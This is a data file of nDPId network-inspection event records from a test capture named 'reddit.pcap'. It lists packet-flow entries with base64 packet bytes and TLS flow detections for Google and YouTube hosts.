+02101{"flow_id":39,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4539,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":848925,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbvfwoEYYXTjQD24gBgLMO07AAABAQgKwtdDcW3\/yRgWAwMAegIAAHYDA9hl96NcXpyz2ISlFxxvyE5\/hkAR+BcsBnhxw1qXKgxCIDI9pBtUEgNPXXn3m6DfkXTykQkxvHtW6AlECtSxtZwqEwEAAC4AMwAkAB0AIO6mOXa9ieI7g7AiE4RgUaifMNA\/iGPHbvUnXohFrQN3ACsAAgMEFAMDAAEBFwMDCb\/9SXEBCPgNdvwhK\/4ZpCtcyaxgXmkJ0GF3xY7B38gEmOMfWYQCKvhiZqmt\/QfSEQKsSTm0Os6xPMLBHcH5TgF2fy5Zl3qASi1iyf+fBrJdrB+fkdin2J04aiGjd3XgTrWUNfkLZdQgzgItYY\/Ws\/ealoOISn7pxVzgs6\/XNXPXiVhaZN2Ne4z4VQDCKHDwLDsvLTE1wUlr6puadbWBmPVKXuCGQwehVLuaCYnYCRGULZkGxrl4AnCxz1qaqshqCiUgucX+Mr26F0kJ+Ux884AIOXPYb5ncZEsI7kK4bytDHiSI1XkPFazSYKGz16eU8oWpP5M+lJfcRLJKz2EVPTeheSgMYQZqk\/rsH7gf4CvbAfIw4I\/RkTYgaGjq9WnRMb3WM8\/xovsDNeElM2cWz4ihvfZp4n8nrtNyFjlIPoVLeOKHEOv4PJZdP49rga3Vh\/NI04Pn7a6pTLhVQFd24mHJp\/DhI4EG8amwpRhwjQNg3eWKUIWKxAcvSLgKJr5k\/2a+Z94ijlhxbpaY+v7faJeWMVfCQcH3FcFC+SZmRQ5m+KMpTHllqKl0DT0f+bpD2ypOlUj\/gj+oymZa+QwzsNwil3IRC9B9Bw8YYY2al08fLOM1dv71PmO\/K3Can2qRn8Y9HqIGicWEApdQrQYs8aGY+YvJ81BnbhJnhDaLMG0RIBtRNYBUNDw\/08wpB0o00jrj3PKLYZ9fIitUIu7gkebZaNVd4s0xAcqcH\/kK9PNLne2lLlRXHA778aAbJ83j418Fef2oQbxlmsho9bszQkVaA4t9\/K9R4RkT2KToOdWWWOqkMLqqckzRlD9\/Yi+IvwrgzK78X\/aKx3Mjgm61C3TBm0ijCn2o3EBXqUNAS71RbHEvihEmeHuVhYWsI22LC7wk5eNHGzqXCxyE7fnBzbAJWxnvTprcFiL9B1sAoOl6xRLpbJ34vhK6mkH\/hnpHcRYEG26h+BMrpqBw58I7LL5ZQHc04Arjy07INsxj+7zD4gePA5kAunH1nabbgIpia\/Yublz3Ptp6CL02DHAWZEkK7zfVuASkLeXxTkiEmBDyYJkojlr2GRmULlD3O7+NtYTmDYL7pm9bxRdp2VpYeril5PBLyUOeb8NWdfGuqPVxYCloqn6Mf49R2iQe66xv3udU\/+Pt1k5mqBwaTEURAMQrjwaSknkHWdZuqSvv9\/URiU0a1JmRpC2CCKXVTXSmqJP2BcjA4MuKlPE6ChBk+Q888EBadeZMIkb5gI2oXnfzdB59KcUVuM2evyEy23yhECd+A\/Ble3VOsfybdaZXjOqpw6r5v4FxKTDrd+k91erOqMF4DhUnAOpudCewLCwcHAN\/Dc3SdK3HSgEPuYhloPd3wudQvJWMqGndh7npvpP6ApKRO+VKFHSNeG+9D7xdK0fEpiCzLqjLhpvns1vwkw=="} +00867{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4539,"source":"reddit.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":6,"flow_first_seen":1605291688749,"flow_last_seen":1605291688848,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2004","src_port":57282,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02099{"flow_id":39,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4540,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":848925,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbvfwoEYZizjQD24gBgLMCkDAAABAQgKwtdDcW3\/yRiO6\/aBss8cUlhED\/+o3JywZ9c+gqMVci4g\/Vj6dlMbUEptOJYAkxQPI6UIVWqvXVty9bpNa5DF8OtCO\/zFlMsbSTQHw81AOf6kFGRRO+w5GMXQHRjJMw+MxyAwb9Aa71uIUUKRAD09tJJteKTv1UvUtAqTXs\/qJAICor5Wm7SJ4Bo65i\/AZg3SEDZdUpAtSVA0xk+I+WyYnKtW9miYtZ+DgJwYGzvvR8Xta3UmTlULrLzAS7533lsMTmKBIR2ltErqCIxhjlBGdgAXkaKQ0o6qEu4hJ79VaIxqskvGJmmHmWQG+qzOA\/TXzdQqHFNnuV9pLZgJT0PHBW644pdCAChDJ\/+mikHuSKFpv5NMRbjfVxdnioW3M7vDxwcyddAx8pcOBeFQkoCqosNW1qPhP86p3NHVPKLTNcZQjIyWUlWHh6vMhWkYdtE5OuVJSwNISaqn2h5G+5j18UWUnp+\/0f+a\/zFEntTuUYWHm88Czv6r0lxAvPdrDKQz2Mp9dW+HNgd8EwSY6GXLJ4+gv8CXW69LQqBdzGPK38kVfxG4PsbI5BLOMw9IAvlijjtfOiKF5hppC6nOLd\/Mexzx42+DSgu+7XlrG1ew0xA4E5W28zWUPWwB6ZegZFf8Zk1rkq5rvtHfITXBP6LIzcY1z5ihvRtjacXreOQ+e7xN2hQ06RicIpqqcr65uoA+B42tkefidkpNKq7+zmFw+aq2qKMocUdfz71IE4YyL8qBagNRvTnh2YDNJ1JfaVsb7bx2fwKPg\/lEMY6zdagBfwQc2BsoGY40CxGGAVi5kUM0D9NSHeBD3g8kDtwFmdlDb\/Kr\/w4YLljSY8F4s0qYYmASEEoj7Xf5nmMmS18+Kki7juoczFP9kL+8TiPeWAh\/DpQhGVJc5tVQiCLtIkP0zIQJ2UHNhF1\/eLf8l3Osrmtf6+5vr7lwSjW8wdpOekWo5F\/vMRcgWi4TLO3mVNzkCw\/m6+stBokLyZaDAsng0ZFE74o21pal2tiyl5lJBu+JSo7V9dTVvYnHpSsok\/IeNyv1Zor0EE3rg93XyL8R2CRhWYDvs3gtqcXbIUlnVFzanoVOMd87JpOBmeVNDiKUBDad8ghkgw3DpBCExP5JSBis5rN+rNT5BjzHSKsWY34uu2XM\/MoYV6TrRr8F\/oR1NgvqqdoRCQ0ywLLfvSD2vo+qyQQArc5BBtLnGlHdyYRn6otCTov0qBecviSe16m93AtsOTC8HvIErWFW6sVEMZvXgzsXTob8\/u5ldSeDUBzk9rH0ugyRh2DRnG9MbF98m\/mQ+s3ZA49sXyOOoV0hUQMVCEysZfr98exSHUlg+5XxRfcpEhKBLEpQ07hWb4KgESPnNTNUNvhfMK4MWoLbvMYbFwO9j8owDsvk8v4Jq64H+bwD6V1F6j+XEU+zBCc3TqPWnG8UPCyF4xK2TkIqP6cxRK6D3fnyUo0La7jNfConlxudHtrWD9Y0fEDqlAi4bCz1CZVeMqpspZIiIDG2NQmQAR8ZHXU4GBT7CV2pwQaKLK9roKNPF29\/upEaW87tPoihq3Fe8GeOLnUTJSmCs1Z2Uwczs+r\/9DUb1GIZULURhUR090QH2fXOuyTmwiepEQ=="} +00455{"flow_id":39,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4542,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":848953,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAPbiBGGYsgBAB9WINAAABAQgKbf\/JVsLXQ3E="} +00455{"flow_id":39,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4543,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":848977,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAPbiBGGrkgBAB8l1YAAABAQgKbf\/JVsLXQ3E="} +00749{"flow_id":39,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4544,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":849286,"pkt_caplen":303,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":303,"pkt_l4_len":249,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAPkGPSoAFFBABwgFAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbvfwoEYauTjQD24gBgLMO9eAAABAQgKwtdDcW3\/yRj22CaIGkFKgjMJdIviOlFSxzfTtB1VAkH6FZG1EY5vqQWQu1W1qhNzxf1cXpO+\/Q1B+to4agaZY6goL3el3O99qqVao3uJh1S2EcZznbDnOJh7caS16vCgmMUjCOjnjLTMzjn+MN8ukKN4z2OC0vNIsrmNefATZbZ2khcKWlGoef+Y7hJA8RHzlkc5kqIGcpYReFXzxH8+1m6zn8p7T2hXcCFf0FsSXODpq+gBZ1oWOAWsXlG1NjeLCAN+lzap2wQ59SxOqQmDiEakQiYlFHUvcDyBPzqh3CcU"} +00456{"flow_id":39,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4547,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":849297,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAPbiBGGu9gBAB9Vx7AAABAQgKbf\/JV8LXQ3E="} +00543{"flow_id":39,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4549,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":851832,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAPbiBGGu9gBgB9RHpAAABAQgKbf\/JWcLXQ3EUAwMAAQEXAwMANS7pbYekUrI79ZNEw3VzDbAZ58PddFvDuJcfrSKZm7mSjkQXpPd\/GQtaXLl3zlXxW5t7Z6pW"} +00584{"flow_id":39,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4554,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":852064,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAPfiBGGu9gBgB9T6PAAABAQgKbf\/JWcLXQ3EXAwMAVyWhRzz0RSxcLhmCGRcey9SZMukJBxf8zaXPq+iTFZWDbnDj+F2oNI+2\/cMUzDH5UKi0awQ2XUbmqGo9KiB3ZPc7vNjp6txIhBg4qp6pEoJGLpLhkAIDuQ=="} +00843{"flow_id":39,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4557,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":852333,"pkt_caplen":372,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":372,"pkt_l4_len":318,"pkt":"qtsDr8lk5EKm5WPyht1gCJDMAT4GQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAE38IBu+NAPlSBGGu9gBgB9YUJAAABAQgKbf\/JWsLXQ3EXAwMBGVeZOwPo2SFBU\/dwgOV0mRWcYfIJR8xqvjOm3GWUPmi1rxjok4Yyl5Dr8QKYbzb7CgdaKRYZaA\/\/jGlomXLpvZrz13MtIe8Sx7diX+zXgxCqzbMTR3pcJ7lqwy3sd5UyINRIpJSxFDXfMfPNeFpt8qQLqJGK\/BFTlDOVvcU0fG7CbBSJRtDBX44cM+fDF4rZk4fuXwqx+596dnCvpAmr8e+RXlT4j6Kh338gPFSmhIL7KjEfXC+U+qbC7gPqcA7XsLll1WFZjarIT7VxQlWtUGpIeReHXCkabMzFhxlSMUOEb1ATYBRqHnJHrqUK5ZwNHO40T28JhE5XOP0nenltfqqMakZycoISC+qdQnOk5lFkAguwNaRhUwwJ"} +00457{"flow_id":38,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4732,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":881499,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgIAAAAAAAAIAYqAcsBIEmLB5kd7IUo3\/YpAbvVxjGyDeVUIR9KgBALOEHDAAABAQgKwtdDfYWLJ\/g="} +00468{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4815,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889230,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4xvp17E2f1af7oBJXgOZHAAACBAV4AQMDAwQCCArC10OnN\/P3eA=="} +00468{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4816,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889231,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8lZERbpSHXoBJXgPP1AAACBAV4AQMDAwQCCArC10OmN\/P3eA=="} +00457{"flow_id":39,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4818,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889233,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbvfwoEYa73jQD34gBALOFLBAAABAQgKwtdDpm3\/yVk="} +00457{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4820,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889272,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/Vp\/v6dexOgBAB+2orAAABAQgKN\/P3psLXQ6c="} +00456{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4821,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889299,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulIdc\/JWRFgBAB+3fZAAABAQgKN\/P3psLXQ6Y="} +01154{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4826,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889651,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/Vp\/v6dexOgBgB+wBCAAABAQgKN\/P3psLXQ6cWAwECAAEAAfwDAznRqrI3BjpH0fMAjhWc3pmJOvHC\/\/j965\/A5lDlxh6gIDLxR7\/ypcsELHSllGpRYQ5lC32jGxm0ISoXtgzdDW32ACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPKygAAAAAAFgAUAAARZm9udHMuZ3N0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAh6egAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKXp6AAEAAB0AILgo0nok9EKnwiVyB76v1YPllAYprQfO501YUPqbQH86AC0AAgEBACsACwrKygMEAwMDAgMBABsAAwIAAtraAAEAABUAywAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00829{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4826,"source":"reddit.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1605291688843,"flow_last_seen":1605291688889,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80c::2003","src_port":47302,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fonts.gstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01151{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4827,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":889830,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulIdc\/JWRFgBgB+\/TaAAABAQgKN\/P3psLXQ6YWAwECAAEAAfwDAy7heESofJEzNLpKC6m4EcWF3nwglvjLt2LPUv7yUvYtICOazh2ftjIMIz\/UcLVP0+BLLLQerkGXc0LbFnQmwjmQACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAFgAUAAARZm9udHMuZ3N0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAgaGgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKRoaAAEAAB0AINLvbr+LEAbtuJUEM5hwiBTekJnwVlsSGnoYC4BLgTo4AC0AAgEBACsACwoaGgMEAwMDAgMBABsAAwIAAhoaAAEAABUAywAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00829{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4827,"source":"reddit.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1605291688843,"flow_last_seen":1605291688889,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80c::2003","src_port":47304,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fonts.gstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4856,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":893806,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgFAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvjCkXQfikiqr+RoBJXgDd0AAACBAV4AQMDAwQCCArC10OZ7uBNkQ=="} +00454{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4858,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":893841,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqv5FF0H4qgBAB+7tFAAABAQgK7uBN0cLXQ5k="} +01151{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4861,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":894065,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBrB0AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACAB4woBuyKqv5FF0H4qgBgB+5EWAAABAQgK7uBN0cLXQ5kWAwECAAEAAfwDAw\/cwYtpk8EY2nFSet6HfhMTIva07YBjsHCyF\/EXCY4lIET\/tOg8vSE9lW4MNj+8zcNcKH9YOh6jVhMXDVw4Nj\/KACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZP6+gAAAAAAEgAQAAANeXQzLmdncGh0LmNvbQAXAAD\/AQABAAAKAAoACEpKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApSkoAAQAAHQAgNH1NsmWXDLZE3tZCuT77ObLFazHLQDqNeh9VcGafUUsALQACAQEAKwALCrq6AwQDAwMCAwEAGwADAgACWloAAQAAFQDPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00824{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4861,"source":"reddit.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":4,"flow_first_seen":1605291688830,"flow_last_seen":1605291688894,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2001","src_port":58122,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTube","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"yt3.ggpht.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4865,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":894545,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgVAAAAAAAAIBYqAcsBIEmLB5kd7IUo3\/YpAbvMSCvRvaZMy7vtoBJXgIUlAAACBAV4AQMDAwQCCArC10OaRJp0xw=="} +00454{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4867,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":894570,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLu+0r0b2ngBAB+wj4AAABAQgKRJp1BsLXQ5o="} 